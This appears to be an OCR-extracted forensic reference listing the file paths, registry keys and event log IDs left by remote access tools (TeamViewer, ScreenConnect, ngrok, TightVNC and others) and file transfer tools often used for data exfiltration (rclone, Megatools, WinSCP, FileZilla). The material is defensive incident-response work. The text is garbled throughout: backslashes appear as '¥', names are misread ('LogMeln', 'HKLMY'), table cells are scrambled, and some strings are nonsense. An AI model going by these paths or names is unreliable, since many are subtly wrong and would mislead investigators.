AgentPackageRunCommandInteractive¥log.txt
%ProgramFiles(x86)%¥Atera Networks¥*

%windir%¥Temp¥AteraSetuplog.txt
LogMeln

HKLM¥Software¥Atera Networks¥AlphaAgent
HKLM¥System¥CurrentControlSet¥Services¥AteraAgent

Application.evtx (Event ID: 0, 1033, 11707)
Microsoft-Windows-PowerShell/Operational.evtx (Event ID: 4104)
Windows PowerShell.evtx (Event ID: 400)
Security.evtx (Event ID: 4688)
System.evtx (Event ID: 7045)
LogMeln

MFT

Registry

Event Log

MFT

Registry

Event Log

%ProgramFiles(x86)%¥ScreenConnect Client (<random>)¥*
%SystemRoot%¥TEMPY¥ScreenConnect¥<Version>¥*.ps1

HKLM¥System¥CurrentControlSet¥Services¥ScreenConnect Client (<random>)

Application.evtx (Event ID: 0, 1033, 11707)
Microsoft-Windows-PowerShell/Operational.evtx (Event ID: 4104)
Windows PowerShell.evtx (Event ID: 600,400,403)

Security.evtx (Event ID: 4688)

System.evtx (Event ID: 7045)

%LocalAppData%¥LogMeln¥*

%ProgramData%¥LogMeln¥*
%ProgramData%¥LogMeln¥LMIlyyyymmdd.log
%ProgramData%¥LogMeln¥LogMeln.log
%ProgramData%¥Microsoft¥Windows¥Start Menu¥Programs¥
LogMeln Control Panel.Ink

%ProgramFiles(x86)%¥LogMeln¥*

HKLMY¥SOFTWARE¥LogMeln¥V5¥FeatureHistory¥remotecontrol
HKLMY¥SOFTWARE¥LogMeln¥V5¥WebSvc¥Shared¥<random>
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥System¥CurrentControlSet¥Services¥LMIGuardianSvc
HKLM¥System¥CurrentControlSet¥Services¥LMlInfo
HKLM¥System¥CurrentControlSet¥Services¥LMIMaint
HKLM¥System¥CurrentControlSet¥Services¥LMIRfsDriver
HKLM¥System¥CurrentControlSet¥Services¥LogMeln

Application.evtx (Event ID: 102, 105, 202, 205, 1033, 11707)
Security.evtx (Event ID: 4688)
System.evtx (Event ID: 7045)
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Ngrok

Ngrok

Remote
Utilities

Remote
Utilities

Remote
Utilities

MFT

Event Log

MFT

Registry

Event Log

%LOCALAPPDATA%¥ngrok¥ngrok.yml

Microsoft-Windows-RemoteDesktopServices-
RdpCoreTS/Operational.evtx (EventID: 131)
Microsoft-Windows-TerminalServices-
LocalSessionManager/Operational.evtx (Event ID: 25)
Security.evtx (Event ID: 4624, 4688)

%ProgramFiles(x86)%¥Remote Utilities - Host¥Logs¥rut_log_yyyy-
mm.html
%APPDATA%¥Remote Utilities Agent¥Logs¥rut_log_yyyy-mm.html

HKLM¥Software¥Usoris¥Remote Utilities¥Host¥Parameters¥*
HKLM¥System¥CurrentControlSet¥Services¥RManService
HKCU¥Software¥Usoris¥Remote Utilities¥Host¥Parameters¥*

Security.evtx (Event ID: 4688)
System.evtx (Event ID: 7045)
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Splashtop

Splashtop

SupRemo

SupRemo

SupRemo

MFT

Registry

Event Log

MFT

Registry

Event Log

%ProgramFiles(x86)%¥Splashtop¥*

%LOCALAPPDATA%¥Splashtop¥*

%ProgramData%¥Splashtop¥*
%ProgramData%¥Splashtop¥Temp¥log¥FTCLog.txt
%ProgramFiles(x86)%¥Splashtop¥Splashtop Remote¥Server¥log¥SPLog.txt

HKLM¥SOFTWARE¥WOW6432Node¥Splashtop Inc.¥Splashtop Remote Server¥
ClientInfo
HKLM¥System¥CurrentControlSet¥Services¥SplashtopRemoteService
HKLM¥System¥CurrentControlSet¥Services¥SSUService

Application.evtx (Event ID: 1033, 11707)

Security.evtx (Event ID: 4688)

Splashtop-Splashtop Streamer-Remote Session Operational.evtx
(Event ID: 1, 200, 1000, 1001, 1100, 1101)

System.evtx (Event ID: 7045)

%ProgramFiles(x86)%¥Supremo¥*
%ProgramData%¥SupremoRemoteDesktop¥Log¥Supremo.00.Client.log
%ProgramData%¥SupremoRemoteDesktop¥Log¥Supremo.00.FileTransfer.log
%ProgramData%¥SupremoRemoteDesktop¥Log¥Supremo.00.Incoming.log
%ProgramData%¥SupremoRemoteDesktop¥Log¥Supremo.00.ReportsQueue.log
%ProgramData%¥SupremoRemoteDesktop¥Log¥SupremoService.00.Service.log

HKLM¥System¥CurrentControlSet¥Services¥SupremoService

Security.evtx (Event ID: 4688)
System.evtx (Event ID: 7045)
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TeamViewer MFT %ProgramFiles%¥TeamViewer¥* TightVNC MFT
%ProgramFiles%¥TeamViewer¥Connections_incoming.txt
%ProgramFiles%¥TeamViewer¥TeamViewerl5_Logfile.log
%ProgramFiles%¥TeamViewer¥TVNetwork.log
%ProgramFiles(x86)%¥TeamViewer¥*
%ProgramFiles(x86)%¥TeamViewer¥Connections_incoming.txt Registry
%ProgramFiles(x86)%¥TeamViewer¥TeamViewerl5_Logfile.log
%ProgramFiles(x86)%¥TeamViewer¥TVNetwork.log
%LOCALAPPDATA%¥TeamViewer¥TVNetwork.log
%TEMP%¥TeamViewer¥*
%TEMP%¥TeamViewer¥TV15Install.log

Event L
%TEMP%¥TeamViewer¥tvinfo.ini vent Log

Registry HKCU¥Software¥TeamViewer
HKLM¥SOFTWARE¥TeamViewer
HKLM¥SOFTWARE¥WOW6432Node¥TeamViewer
HKLM¥SOFTWARE¥WOW6432Node¥TVInstallTemp
HKLMY¥SYSTEM¥CurrentControlSet¥Services¥TeamViewer

Event Log Security.evtx (Event ID: 4688)
System.evtx (EventID: 7045)

%ProgramData%¥Microsoft¥Windows¥Start Menu¥Programs¥TightVNC
%ProgramData%¥TightVNC

%ProgramFiles%¥TightVNC

%ProgramFiles(x86)%¥TightVNC

HKCU¥Software¥GlavSoft LLC.¥TightVNC1*
HKCU¥Software¥TightVNC¥Server
HKLM¥SOFTWARE¥Microsoft¥Windows¥CurrentVersion¥Run
HKLM¥SOFTWARE¥TightVNC
HKLMY¥SYSTEM¥CurrentControlSet¥Services¥tvnserver

Application.evtx (Event ID: 257, 1033, 11707)
Security.evtx (Event ID: 4688)
System.evtx (EventID: 7045)
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Filezilla %APPDATA%¥FileZilla¥filezilla.xml Megatools MFT %Temp%<random>.megatools.cache
%APPDATA%¥FileZilla¥recentservers.xml <same directory as megatool.exe>¥mega.ini
%ProgramData%¥Microsoft¥Windows¥Start Menu¥Programs¥FileZilla
FTP Client Megatools Event Log Security.evtx (Event ID: 4688)

%P Files%¥FileZilla FTP Client¥

%ProgramFilesyexFilezilla FTP Client Relone MFT %APPDATA%¥rclone¥rclone.conf
Filezill Regist HKLM¥SOFTWARE¥WOW®6432Node¥FileZilla Client¥*
festia CaIstry oaexriiestia tien Rclone Event Log Security.evtx (Event ID: 4688)
Filezill Event L Security.evtx (Event ID: 4688
festia vent Log it ) WinSCP MFT 9%ProgramFiles(x86)%¥WinSCPY*

FreeFileSync  MFT %APPDATA%¥FreeFileSync¥GlobalSettings.xml %USERPROFILE%¥AppData¥Local¥Programs¥WinSCP¥*
%APPDATA%¥FreeFileSync¥GoogleDrive¥<GoogleDrive account>.db WinSCP Registry HKCRYwinscp-*

%APPDATA%¥FreeFileSync¥LastRun.ffs_gui
%APPDATA%¥FreeFileSync¥Logs¥[Last session] yyyy-mm-dd
hhmmss.SSS*.html

%ProgramFiles%¥FreeFileSync¥*
%ProgramFiles(x86)%¥FreeFileSync¥*

HKCU¥Software¥Martin Prikryl¥WinSCP 2

HKCU¥SOFTWARE¥Martin Prikryl¥WinSCP 2¥Configuration¥CDCache
HKCU¥SOFTWARE¥Martin Prikryl¥WinSCP
2¥Configuration¥LastFingerprints

HKCU¥SOFTWARE¥Martin Prikryl¥WinSCP 2¥Sessions¥*
FreeFileSync  Registry HKLM¥SOFTWARE¥WOW6432Node¥FreeFileSync HKLM¥SOFTWARE¥Martin Prikryl¥WinSCP 2
HKLM¥SOFTWARE¥WOW6432Node¥Martin Prikryl¥WinSCP 2

FreeFileSync Event Log Security.evtx (Event ID: 4688)
WinSCP Event Log Security.evtx (Event ID: 4688)

GoodSync MFT %LOCALAPPDATA%¥GoodSync¥GoodSync-<yymmdd>-<hhmm>.log
%LOCALAPPDATA%¥GoodSync¥InstallLicense-yymmdd-hhmm.log
%LOCALAPPDATA%¥GoodSync¥server-accounts.tic
%ProgramData%¥Siber Systems¥GoodSync¥*

GoodSync Registry HKLM¥System¥CurrentControlSet¥Services¥GsServer

GoodSync Event Log Security.evtx (Event ID: 4688)
System.evtx (EventID: 7045)
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